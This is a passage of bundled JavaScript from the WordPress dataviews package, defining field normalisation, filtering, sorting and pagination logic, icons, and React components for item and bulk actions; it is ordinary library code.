32075 password: Password,
32076 radio: Radio,
32077 select: Select,
32078 text: Text,
32079 toggle: Toggle,
32080 textarea: Textarea,
32081 toggleGroup: ToggleGroup
32082};
32083function isEditConfig(value) {
32084 return value && typeof value === "object" && typeof value.control === "string";
32085}
32086function createConfiguredControl(config) {
32087 const { control, ...controlConfig } = config;
32088 const BaseControlType = getControlByType(control);
32089 return function ConfiguredControl(props) {
32090 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(BaseControlType, { ...props, config: controlConfig });
32091 };
32092}
32093function getControl(field, fieldTypeDefinition) {
32094 if (typeof field.Edit === "function") {
32095 return field.Edit;
32096 }
32097 if (typeof field.Edit === "string") {
32098 return getControlByType(field.Edit);
32099 }
32100 if (isEditConfig(field.Edit)) {
32101 return createConfiguredControl(field.Edit);
32102 }
32103 if (hasElements(field) && field.type !== "array") {
32104 return getControlByType("select");
32105 }
32106 if (typeof fieldTypeDefinition.Edit === "string") {
32107 return getControlByType(fieldTypeDefinition.Edit);
32108 }
32109 if (isEditConfig(fieldTypeDefinition.Edit)) {
32110 return createConfiguredControl(fieldTypeDefinition.Edit);
32111 }
32112 return fieldTypeDefinition.Edit;
32113}
32114function getControlByType(type) {
32115 if (Object.keys(FORM_CONTROLS).includes(type)) {
32116 return FORM_CONTROLS[type];
32117 }
32118 throw "Control " + type + " not found";
32119}
32120
32121
32122;// ./node_modules/@wordpress/dataviews/build-module/utils/normalize-fields.js
32123
32124
32125
32126
32127const getValueFromId = (id) => ({ item }) => {
32128 const path = id.split(".");
32129 let value = item;
32130 for (const segment of path) {
32131 if (value.hasOwnProperty(segment)) {
32132 value = value[segment];
32133 } else {
32134 value = void 0;
32135 }
32136 }
32137 return value;
32138};
32139const setValueFromId = (id) => ({ value }) => {
32140 const path = id.split(".");
32141 const result = {};
32142 let current = result;
32143 for (const segment of path.slice(0, -1)) {
32144 current[segment] = {};
32145 current = current[segment];
32146 }
32147 current[path.at(-1)] = value;
32148 return result;
32149};
32150function getFilterBy(field, fieldTypeDefinition) {
32151 if (field.filterBy === false) {
32152 return false;
32153 }
32154 if (typeof field.filterBy === "object") {
32155 let operators = field.filterBy.operators;
32156 if (!operators || !Array.isArray(operators)) {
32157 operators = !!fieldTypeDefinition.filterBy ? fieldTypeDefinition.filterBy.defaultOperators : [];
32158 }
32159 let validOperators = ALL_OPERATORS;
32160 if (typeof fieldTypeDefinition.filterBy === "object") {
32161 validOperators = fieldTypeDefinition.filterBy.validOperators;
32162 }
32163 operators = operators.filter(
32164 (operator) => validOperators.includes(operator)
32165 );
32166 if (hasElements(field) && operators.includes(OPERATOR_BETWEEN)) {
32167 operators = operators.filter(
32168 (operator) => operator !== OPERATOR_BETWEEN
32169 );
32170 }
32171 const hasSingleSelectionOperator = operators.some(
32172 (operator) => SINGLE_SELECTION_OPERATORS.includes(operator)
32173 );
32174 if (hasSingleSelectionOperator) {
32175 operators = operators.filter(
32176 (operator) => (
32177 // The 'Between' operator is unique as it can be combined with single selection operators.
32178 [...SINGLE_SELECTION_OPERATORS, OPERATOR_BETWEEN].includes(
32179 operator
32180 )
32181 )
32182 );
32183 }
32184 if (operators.length === 0) {
32185 return false;
32186 }
32187 return {
32188 isPrimary: !!field.filterBy.isPrimary,
32189 operators
32190 };
32191 }
32192 if (fieldTypeDefinition.filterBy === false) {
32193 return false;
32194 }
32195 let defaultOperators = fieldTypeDefinition.filterBy.defaultOperators;
32196 if (hasElements(field) && defaultOperators.includes(OPERATOR_BETWEEN)) {
32197 defaultOperators = defaultOperators.filter(
32198 (operator) => operator !== OPERATOR_BETWEEN
32199 );
32200 }
32201 return {
32202 operators: defaultOperators
32203 };
32204}
32205function normalizeFields(fields) {
32206 return fields.map((field) => {
32207 const fieldTypeDefinition = getFieldTypeDefinition(
32208 field.type
32209 );
32210 const getValue = field.getValue || getValueFromId(field.id);
32211 const setValue = field.setValue || setValueFromId(field.id);
32212 const sort = field.sort ?? function sort2(a, b, direction) {
32213 return fieldTypeDefinition.sort(
32214 getValue({ item: a }),
32215 getValue({ item: b }),
32216 direction
32217 );
32218 };
32219 const isValid = {
32220 ...fieldTypeDefinition.isValid,
32221 ...field.isValid
32222 };
32223 const Edit = getControl(field, fieldTypeDefinition);
32224 const render = field.render ?? function render2({
32225 item,
32226 field: renderedField
32227 }) {
32228 return fieldTypeDefinition.render({ item, field: renderedField });
32229 };
32230 const filterBy = getFilterBy(field, fieldTypeDefinition);
32231 return {
32232 ...field,
32233 label: field.label || field.id,
32234 header: field.header || field.label || field.id,
32235 getValue,
32236 setValue,
32237 render,
32238 sort,
32239 isValid,
32240 Edit,
32241 hasElements: hasElements(field),
32242 enableHiding: field.enableHiding ?? true,
32243 enableSorting: field.enableSorting ?? fieldTypeDefinition.enableSorting ?? true,
32244 filterBy,
32245 readOnly: field.readOnly ?? fieldTypeDefinition.readOnly ?? false
32246 };
32247 });
32248}
32249
32250
32251;// ./node_modules/@wordpress/dataviews/build-module/utils/filter-sort-and-paginate.js
32252
32253
32254
32255
32256
32257function normalizeSearchInput(input = "") {
32258 return remove_accents_default()(input.trim().toLowerCase());
32259}
32260const filter_sort_and_paginate_EMPTY_ARRAY = [];
32261function getRelativeDate(value, unit) {
32262 switch (unit) {
32263 case "days":
32264 return subDays(/* @__PURE__ */ new Date(), value);
32265 case "weeks":
32266 return subWeeks(/* @__PURE__ */ new Date(), value);
32267 case "months":
32268 return subMonths(/* @__PURE__ */ new Date(), value);
32269 case "years":
32270 return subYears(/* @__PURE__ */ new Date(), value);
32271 default:
32272 return /* @__PURE__ */ new Date();
32273 }
32274}
32275function filterSortAndPaginate(data, view, fields) {
32276 if (!data) {
32277 return {
32278 data: filter_sort_and_paginate_EMPTY_ARRAY,
32279 paginationInfo: { totalItems: 0, totalPages: 0 }
32280 };
32281 }
32282 const _fields = normalizeFields(fields);
32283 let filteredData = [...data];
32284 if (view.search) {
32285 const normalizedSearch = normalizeSearchInput(view.search);
32286 filteredData = filteredData.filter((item) => {
32287 return _fields.filter((field) => field.enableGlobalSearch).some((field) => {
32288 const fieldValue = field.getValue({ item });
32289 const values = Array.isArray(fieldValue) ? fieldValue : [fieldValue];
32290 return values.some(
32291 (value) => normalizeSearchInput(String(value)).includes(
32292 normalizedSearch
32293 )
32294 );
32295 });
32296 });
32297 }
32298 if (view.filters && view.filters?.length > 0) {
32299 view.filters.forEach((filter) => {
32300 const field = _fields.find(
32301 (_field) => _field.id === filter.field
32302 );
32303 if (field) {
32304 if (filter.operator === constants_OPERATOR_IS_ANY && filter?.value?.length > 0) {
32305 filteredData = filteredData.filter((item) => {
32306 const fieldValue = field.getValue({ item });
32307 if (Array.isArray(fieldValue)) {
32308 return filter.value.some(
32309 (filterValue) => fieldValue.includes(filterValue)
32310 );
32311 } else if (typeof fieldValue === "string") {
32312 return filter.value.includes(fieldValue);
32313 }
32314 return false;
32315 });
32316 } else if (filter.operator === constants_OPERATOR_IS_NONE && filter?.value?.length > 0) {
32317 filteredData = filteredData.filter((item) => {
32318 const fieldValue = field.getValue({ item });
32319 if (Array.isArray(fieldValue)) {
32320 return !filter.value.some(
32321 (filterValue) => fieldValue.includes(filterValue)
32322 );
32323 } else if (typeof fieldValue === "string") {
32324 return !filter.value.includes(fieldValue);
32325 }
32326 return false;
32327 });
32328 } else if (filter.operator === OPERATOR_IS_ALL && filter?.value?.length > 0) {
32329 filteredData = filteredData.filter((item) => {
32330 return filter.value.every((value) => {
32331 return field.getValue({ item })?.includes(value);
32332 });
32333 });
32334 } else if (filter.operator === OPERATOR_IS_NOT_ALL && filter?.value?.length > 0) {
32335 filteredData = filteredData.filter((item) => {
32336 return filter.value.every((value) => {
32337 return !field.getValue({ item })?.includes(value);
32338 });
32339 });
32340 } else if (filter.operator === constants_OPERATOR_IS) {
32341 filteredData = filteredData.filter((item) => {
32342 return filter.value === field.getValue({ item }) || filter.value === void 0;
32343 });
32344 } else if (filter.operator === constants_OPERATOR_IS_NOT) {
32345 filteredData = filteredData.filter((item) => {
32346 return filter.value !== field.getValue({ item });
32347 });
32348 } else if (filter.operator === OPERATOR_ON && filter.value !== void 0) {
32349 const filterDate = (0,external_wp_date_namespaceObject.getDate)(filter.value);
32350 filteredData = filteredData.filter((item) => {
32351 const fieldDate = (0,external_wp_date_namespaceObject.getDate)(field.getValue({ item }));
32352 return filterDate.getTime() === fieldDate.getTime();
32353 });
32354 } else if (filter.operator === OPERATOR_NOT_ON && filter.value !== void 0) {
32355 const filterDate = (0,external_wp_date_namespaceObject.getDate)(filter.value);
32356 filteredData = filteredData.filter((item) => {
32357 const fieldDate = (0,external_wp_date_namespaceObject.getDate)(field.getValue({ item }));
32358 return filterDate.getTime() !== fieldDate.getTime();
32359 });
32360 } else if (filter.operator === OPERATOR_LESS_THAN && filter.value !== void 0) {
32361 filteredData = filteredData.filter((item) => {
32362 const fieldValue = field.getValue({ item });
32363 return fieldValue < filter.value;
32364 });
32365 } else if (filter.operator === OPERATOR_GREATER_THAN && filter.value !== void 0) {
32366 filteredData = filteredData.filter((item) => {
32367 const fieldValue = field.getValue({ item });
32368 return fieldValue > filter.value;
32369 });
32370 } else if (filter.operator === OPERATOR_LESS_THAN_OR_EQUAL && filter.value !== void 0) {
32371 filteredData = filteredData.filter((item) => {
32372 const fieldValue = field.getValue({ item });
32373 return fieldValue <= filter.value;
32374 });
32375 } else if (filter.operator === OPERATOR_GREATER_THAN_OR_EQUAL && filter.value !== void 0) {
32376 filteredData = filteredData.filter((item) => {
32377 const fieldValue = field.getValue({ item });
32378 return fieldValue >= filter.value;
32379 });
32380 } else if (filter.operator === OPERATOR_CONTAINS && filter?.value !== void 0) {
32381 filteredData = filteredData.filter((item) => {
32382 const fieldValue = field.getValue({ item });
32383 return typeof fieldValue === "string" && filter.value && fieldValue.toLowerCase().includes(
32384 String(filter.value).toLowerCase()
32385 );
32386 });
32387 } else if (filter.operator === OPERATOR_NOT_CONTAINS && filter?.value !== void 0) {
32388 filteredData = filteredData.filter((item) => {
32389 const fieldValue = field.getValue({ item });
32390 return typeof fieldValue === "string" && filter.value && !fieldValue.toLowerCase().includes(
32391 String(filter.value).toLowerCase()
32392 );
32393 });
32394 } else if (filter.operator === OPERATOR_STARTS_WITH && filter?.value !== void 0) {
32395 filteredData = filteredData.filter((item) => {
32396 const fieldValue = field.getValue({ item });
32397 return typeof fieldValue === "string" && filter.value && fieldValue.toLowerCase().startsWith(
32398 String(filter.value).toLowerCase()
32399 );
32400 });
32401 } else if (filter.operator === OPERATOR_BEFORE && filter.value !== void 0) {
32402 const filterValue = (0,external_wp_date_namespaceObject.getDate)(filter.value);
32403 filteredData = filteredData.filter((item) => {
32404 const fieldValue = (0,external_wp_date_namespaceObject.getDate)(
32405 field.getValue({ item })
32406 );
32407 return fieldValue < filterValue;
32408 });
32409 } else if (filter.operator === OPERATOR_AFTER && filter.value !== void 0) {
32410 const filterValue = (0,external_wp_date_namespaceObject.getDate)(filter.value);
32411 filteredData = filteredData.filter((item) => {
32412 const fieldValue = (0,external_wp_date_namespaceObject.getDate)(
32413 field.getValue({ item })
32414 );
32415 return fieldValue > filterValue;
32416 });
32417 } else if (filter.operator === OPERATOR_BEFORE_INC && filter.value !== void 0) {
32418 const filterValue = (0,external_wp_date_namespaceObject.getDate)(filter.value);
32419 filteredData = filteredData.filter((item) => {
32420 const fieldValue = (0,external_wp_date_namespaceObject.getDate)(
32421 field.getValue({ item })
32422 );
32423 return fieldValue <= filterValue;
32424 });
32425 } else if (filter.operator === OPERATOR_AFTER_INC && filter.value !== void 0) {
32426 const filterValue = (0,external_wp_date_namespaceObject.getDate)(filter.value);
32427 filteredData = filteredData.filter((item) => {
32428 const fieldValue = (0,external_wp_date_namespaceObject.getDate)(
32429 field.getValue({ item })
32430 );
32431 return fieldValue >= filterValue;
32432 });
32433 } else if (filter.operator === OPERATOR_BETWEEN && Array.isArray(filter.value) && filter.value.length === 2 && filter.value[0] !== void 0 && filter.value[1] !== void 0) {
32434 filteredData = filteredData.filter((item) => {
32435 const fieldValue = field.getValue({ item });
32436 if (typeof fieldValue === "number" || fieldValue instanceof Date || typeof fieldValue === "string") {
32437 return fieldValue >= filter.value[0] && fieldValue <= filter.value[1];
32438 }
32439 return false;
32440 });
32441 } else if (filter.operator === OPERATOR_IN_THE_PAST && filter.value?.value !== void 0 && filter.value?.unit !== void 0) {
32442 const targetDate = getRelativeDate(
32443 filter.value.value,
32444 filter.value.unit
32445 );
32446 filteredData = filteredData.filter((item) => {
32447 const fieldValue = (0,external_wp_date_namespaceObject.getDate)(
32448 field.getValue({ item })
32449 );
32450 return fieldValue >= targetDate && fieldValue <= /* @__PURE__ */ new Date();
32451 });
32452 } else if (filter.operator === OPERATOR_OVER && filter.value?.value !== void 0 && filter.value?.unit !== void 0) {
32453 const targetDate = getRelativeDate(
32454 filter.value.value,
32455 filter.value.unit
32456 );
32457 filteredData = filteredData.filter((item) => {
32458 const fieldValue = (0,external_wp_date_namespaceObject.getDate)(
32459 field.getValue({ item })
32460 );
32461 return fieldValue < targetDate;
32462 });
32463 }
32464 }
32465 });
32466 }
32467 const sortByField = view.sort?.field ? _fields.find((field) => {
32468 return field.id === view.sort?.field;
32469 }) : null;
32470 const groupByField = view.groupByField ? _fields.find((field) => {
32471 return field.id === view.groupByField;
32472 }) : null;
32473 if (sortByField || groupByField) {
32474 filteredData.sort((a, b) => {
32475 if (groupByField) {
32476 const groupCompare = groupByField.sort(a, b, "asc");
32477 if (groupCompare !== 0) {
32478 return groupCompare;
32479 }
32480 }
32481 if (sortByField) {
32482 return sortByField.sort(a, b, view.sort?.direction ?? "desc");
32483 }
32484 return 0;
32485 });
32486 }
32487 let totalItems = filteredData.length;
32488 let totalPages = 1;
32489 if (view.page !== void 0 && view.perPage !== void 0) {
32490 const start = (view.page - 1) * view.perPage;
32491 totalItems = filteredData?.length || 0;
32492 totalPages = Math.ceil(totalItems / view.perPage);
32493 filteredData = filteredData?.slice(start, start + view.perPage);
32494 }
32495 return {
32496 data: filteredData,
32497 paginationInfo: {
32498 totalItems,
32499 totalPages
32500 }
32501 };
32502}
32503
32504
32505;// ./node_modules/@wordpress/dataviews/build-module/components/dataviews-context/index.js
32506
32507
32508const dataviews_context_DataViewsContext = (0,external_wp_element_.createContext)({
32509 view: { type: constants_LAYOUT_TABLE },
32510 onChangeView: () => {
32511 },
32512 fields: [],
32513 data: [],
32514 paginationInfo: {
32515 totalItems: 0,
32516 totalPages: 0
32517 },
32518 selection: [],
32519 onChangeSelection: () => {
32520 },
32521 setOpenedFilter: () => {
32522 },
32523 openedFilter: null,
32524 getItemId: (item) => item.id,
32525 isItemClickable: () => true,
32526 renderItemLink: void 0,
32527 containerWidth: 0,
32528 containerRef: (0,external_wp_element_.createRef)(),
32529 resizeObserverRef: () => {
32530 },
32531 defaultLayouts: { list: {}, grid: {}, table: {} },
32532 filters: [],
32533 isShowingFilter: false,
32534 setIsShowingFilter: () => {
32535 },
32536 hasInfiniteScrollHandler: false,
32537 config: {
32538 perPageSizes: []
32539 }
32540});
32541dataviews_context_DataViewsContext.displayName = "DataViewsContext";
32542var dataviews_context_default = dataviews_context_DataViewsContext;
32543
32544
32545;// ./node_modules/@wordpress/icons/build-module/library/block-table.js
32546
32547
32548var block_table_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zM5 4.5h14c.3 0 .5.2.5.5v3.5h-15V5c0-.3.2-.5.5-.5zm8 5.5h6.5v3.5H13V10zm-1.5 3.5h-7V10h7v3.5zm-7 5.5v-4h7v4.5H5c-.3 0-.5-.2-.5-.5zm14.5.5h-6V15h6.5v4c0 .3-.2.5-.5.5z" }) });
32549
32550
32551;// ./node_modules/@wordpress/icons/build-module/library/category.js
32552
32553
32554var category_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
32555 external_wp_primitives_namespaceObject.Path,
32556 {
32557 d: "M6 5.5h3a.5.5 0 01.5.5v3a.5.5 0 01-.5.5H6a.5.5 0 01-.5-.5V6a.5.5 0 01.5-.5zM4 6a2 2 0 012-2h3a2 2 0 012 2v3a2 2 0 01-2 2H6a2 2 0 01-2-2V6zm11-.5h3a.5.5 0 01.5.5v3a.5.5 0 01-.5.5h-3a.5.5 0 01-.5-.5V6a.5.5 0 01.5-.5zM13 6a2 2 0 012-2h3a2 2 0 012 2v3a2 2 0 01-2 2h-3a2 2 0 01-2-2V6zm5 8.5h-3a.5.5 0 00-.5.5v3a.5.5 0 00.5.5h3a.5.5 0 00.5-.5v-3a.5.5 0 00-.5-.5zM15 13a2 2 0 00-2 2v3a2 2 0 002 2h3a2 2 0 002-2v-3a2 2 0 00-2-2h-3zm-9 1.5h3a.5.5 0 01.5.5v3a.5.5 0 01-.5.5H6a.5.5 0 01-.5-.5v-3a.5.5 0 01.5-.5zM4 15a2 2 0 012-2h3a2 2 0 012 2v3a2 2 0 01-2 2H6a2 2 0 01-2-2v-3z",
32558 fillRule: "evenodd",
32559 clipRule: "evenodd"
32560 }
32561) });
32562
32563
32564;// ./node_modules/@wordpress/icons/build-module/library/format-list-bullets-rtl.js
32565
32566
32567var format_list_bullets_rtl_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M4 8.8h8.9V7.2H4v1.6zm0 7h8.9v-1.5H4v1.5zM18 13c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2zm0-3c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2z" }) });
32568
32569
32570;// ./node_modules/@wordpress/icons/build-module/library/format-list-bullets.js
32571
32572
32573var format_list_bullets_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M11.1 15.8H20v-1.5h-8.9v1.5zm0-8.6v1.5H20V7.2h-8.9zM6 13c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2zm0-7c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2z" }) });
32574
32575
32576;// ./node_modules/@wordpress/dataviews/build-module/components/dataviews-selection-checkbox/index.js
32577
32578
32579
32580function DataViewsSelectionCheckbox({
32581 selection,
32582 onChangeSelection,
32583 item,
32584 getItemId,
32585 titleField,
32586 disabled,
32587 ...extraProps
32588}) {
32589 const id = getItemId(item);
32590 const checked = !disabled && selection.includes(id);
32591 const selectionLabel = titleField?.getValue?.({ item }) || (0,external_wp_i18n_namespaceObject.__)("(no title)");
32592 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
32593 external_wp_components_namespaceObject.CheckboxControl,
32594 {
32595 className: "dataviews-selection-checkbox",
32596 __nextHasNoMarginBottom: true,
32597 "aria-label": selectionLabel,
32598 "aria-disabled": disabled,
32599 checked,
32600 onChange: () => {
32601 if (disabled) {
32602 return;
32603 }
32604 onChangeSelection(
32605 selection.includes(id) ? selection.filter((itemId) => id !== itemId) : [...selection, id]
32606 );
32607 },
32608 ...extraProps
32609 }
32610 );
32611}
32612
32613
32614;// ./node_modules/@wordpress/dataviews/build-module/components/dataviews-item-actions/index.js
32615
32616
32617
32618
32619
32620
32621
32622
32623const { Menu: dataviews_item_actions_Menu, kebabCase: dataviews_item_actions_kebabCase } = lock_unlock_unlock(external_wp_components_namespaceObject.privateApis);
32624function ButtonTrigger({
32625 action,
32626 onClick,
32627 items
32628}) {
32629 const label = typeof action.label === "string" ? action.label : action.label(items);
32630 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
32631 external_wp_components_namespaceObject.Button,
32632 {
32633 disabled: !!action.disabled,
32634 accessibleWhenDisabled: true,
32635 size: "compact",
32636 onClick,
32637 children: label
32638 }
32639 );
32640}
32641function MenuItemTrigger({
32642 action,
32643 onClick,
32644 items
32645}) {
32646 const label = typeof action.label === "string" ? action.label : action.label(items);
32647 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(dataviews_item_actions_Menu.Item, { disabled: action.disabled, onClick, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(dataviews_item_actions_Menu.ItemLabel, { children: label }) });
32648}
32649function ActionModal({
32650 action,
32651 items,
32652 closeModal
32653}) {
32654 const label = typeof action.label === "string" ? action.label : action.label(items);
32655 const modalHeader = typeof action.modalHeader === "function" ? action.modalHeader(items) : action.modalHeader;
32656 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
32657 external_wp_components_namespaceObject.Modal,
32658 {
32659 title: modalHeader || label,
32660 __experimentalHideHeader: !!action.hideModalHeader,
32661 onRequestClose: closeModal,
32662 focusOnMount: action.modalFocusOnMount ?? true,
32663 size: action.modalSize || "medium",
32664 overlayClassName: `dataviews-action-modal dataviews-action-modal__${dataviews_item_actions_kebabCase(
32665 action.id
32666 )}`,
32667 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(action.RenderModal, { items, closeModal })
32668 }
32669 );
32670}
32671function ActionsMenuGroup({
32672 actions,
32673 item,
32674 registry,
32675 setActiveModalAction
32676}) {
32677 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(dataviews_item_actions_Menu.Group, { children: actions.map((action) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
32678 MenuItemTrigger,
32679 {
32680 action,
32681 onClick: () => {
32682 if ("RenderModal" in action) {
32683 setActiveModalAction(action);
32684 return;
32685 }
32686 action.callback([item], { registry });
32687 },
32688 items: [item]
32689 },
32690 action.id
32691 )) });
32692}
32693function ItemActions({
32694 item,
32695 actions,
32696 isCompact
32697}) {
32698 const registry = (0,external_wp_data_.useRegistry)();
32699 const { primaryActions, eligibleActions } = (0,external_wp_element_.useMemo)(() => {
32700 const _eligibleActions = actions.filter(
32701 (action) => !action.isEligible || action.isEligible(item)
32702 );
32703 const _primaryActions = _eligibleActions.filter(
32704 (action) => action.isPrimary
32705 );
32706 return {
32707 primaryActions: _primaryActions,
32708 eligibleActions: _eligibleActions
32709 };
32710 }, [actions, item]);
32711 if (isCompact) {
32712 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
32713 CompactItemActions,
32714 {
32715 item,
32716 actions: eligibleActions,
32717 isSmall: true,
32718 registry
32719 }
32720 );
32721 }
32722 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
32723 external_wp_components_namespaceObject.__experimentalHStack,
32724 {
32725 spacing: 0,
32726 justify: "flex-end",
32727 className: "dataviews-item-actions",
32728 style: {
32729 flexShrink: 0,
32730 width: "auto"
32731 },
32732 children: [
32733 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
32734 PrimaryActions,
32735 {
32736 item,
32737 actions: primaryActions,
32738 registry
32739 }
32740 ),
32741 primaryActions.length < eligibleActions.length && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
32742 CompactItemActions,
32743 {
32744 item,
32745 actions: eligibleActions,
32746 registry
32747 }
32748 )
32749 ]
32750 }
32751 );
32752}
32753function CompactItemActions({
32754 item,
32755 actions,
32756 isSmall,
32757 registry
32758}) {
32759 const [activeModalAction, setActiveModalAction] = (0,external_wp_element_.useState)(
32760 null
32761 );
32762 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
32763 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(dataviews_item_actions_Menu, { placement: "bottom-end", children: [
32764 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
32765 dataviews_item_actions_Menu.TriggerButton,
32766 {
32767 render: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
32768 external_wp_components_namespaceObject.Button,
32769 {
32770 size: isSmall ? "small" : "compact",
32771 icon: more_vertical_default,
32772 label: (0,external_wp_i18n_namespaceObject.__)("Actions"),
32773 accessibleWhenDisabled: true,
32774 disabled: !actions.length,
32775 className: "dataviews-all-actions-button"
32776 }
32777 )
32778 }
32779 ),
32780 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(dataviews_item_actions_Menu.Popover, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
32781 ActionsMenuGroup,
32782 {
32783 actions,
32784 item,
32785 registry,
32786 setActiveModalAction
32787 }
32788 ) })
32789 ] }),
32790 !!activeModalAction && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
32791 ActionModal,
32792 {
32793 action: activeModalAction,
32794 items: [item],
32795 closeModal: () => setActiveModalAction(null)
32796 }
32797 )
32798 ] });
32799}
32800function PrimaryActions({
32801 item,
32802 actions,
32803 registry
32804}) {
32805 const [activeModalAction, setActiveModalAction] = (0,external_wp_element_.useState)(null);
32806 const isMobileViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)("medium", "<");
32807 if (isMobileViewport) {
32808 return null;
32809 }
32810 if (!Array.isArray(actions) || actions.length === 0) {
32811 return null;
32812 }
32813 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
32814 actions.map((action) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
32815 ButtonTrigger,
32816 {
32817 action,
32818 onClick: () => {
32819 if ("RenderModal" in action) {
32820 setActiveModalAction(action);
32821 return;
32822 }
32823 action.callback([item], { registry });
32824 },
32825 items: [item]
32826 },
32827 action.id
32828 )),
32829 !!activeModalAction && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
32830 ActionModal,
32831 {
32832 action: activeModalAction,
32833 items: [item],
32834 closeModal: () => setActiveModalAction(null)
32835 }
32836 )
32837 ] });
32838}
32839
32840
32841;// ./node_modules/@wordpress/dataviews/build-module/components/dataviews-bulk-actions/index.js
32842
32843
32844
32845
32846
32847
32848
32849
32850
32851function ActionWithModal({
32852 action,
32853 items,
32854 ActionTriggerComponent
32855}) {
32856 const [isModalOpen, setIsModalOpen] = (0,external_wp_element_.useState)(false);
32857 const actionTriggerProps = {
32858 action,
32859 onClick: () => {
32860 setIsModalOpen(true);
32861 },
32862 items
32863 };
32864 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
32865 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ActionTriggerComponent, { ...actionTriggerProps }),
32866 isModalOpen && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
32867 ActionModal,
32868 {
32869 action,
32870 items,
32871 closeModal: () => setIsModalOpen(false)
32872 }
32873 )
32874 ] });
32875}
32876function useHasAPossibleBulkAction(actions, item) {
32877 return (0,external_wp_element_.useMemo)(() => {
32878 return actions.some((action) => {
32879 return action.supportsBulk && (!action.isEligible || action.isEligible(item));
32880 });
32881 }, [actions, item]);
32882}
32883function useSomeItemHasAPossibleBulkAction(actions, data) {
32884 return (0,external_wp_element_.useMemo)(() => {
32885 return data.some((item) => {
32886 return actions.some((action) => {
32887 return action.supportsBulk && (!action.isEligible || action.isEligible(item));
32888 });
32889 });
32890 }, [actions, data]);
32891}
32892function BulkSelectionCheckbox({
32893 selection,
32894 onChangeSelection,
32895 data,
32896 actions,
32897 getItemId
32898}) {
32899 const selectableItems = (0,external_wp_element_.useMemo)(() => {
32900 return data.filter((item) => {
32901 return actions.some(
32902 (action) => action.supportsBulk && (!action.isEligible || action.isEligible(item))
32903 );
32904 });
32905 }, [data, actions]);
32906 const selectedItems = data.filter(
32907 (item) => selection.includes(getItemId(item)) && selectableItems.includes(item)
32908 );
32909 const areAllSelected = selectedItems.length === selectableItems.length;
32910 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
32911 external_wp_components_namespaceObject.CheckboxControl,
32912 {
32913 className: "dataviews-view-table-selection-checkbox",
32914 __nextHasNoMarginBottom: true,
32915 checked: areAllSelected,
32916 indeterminate: !areAllSelected && !!selectedItems.length,
32917 onChange: () => {
32918 if (areAllSelected) {
32919 onChangeSelection([]);
32920 } else {
32921 onChangeSelection(
32922 selectableItems.map((item) => getItemId(item))
32923 );
32924 }
32925 },
32926 "aria-label": areAllSelected ? (0,external_wp_i18n_namespaceObject.__)("Deselect all") : (0,external_wp_i18n_namespaceObject.__)("Select all")
32927 }
32928 );
32929}
32930function ActionTrigger({
32931 action,
32932 onClick,
32933 isBusy,
32934 items
32935}) {
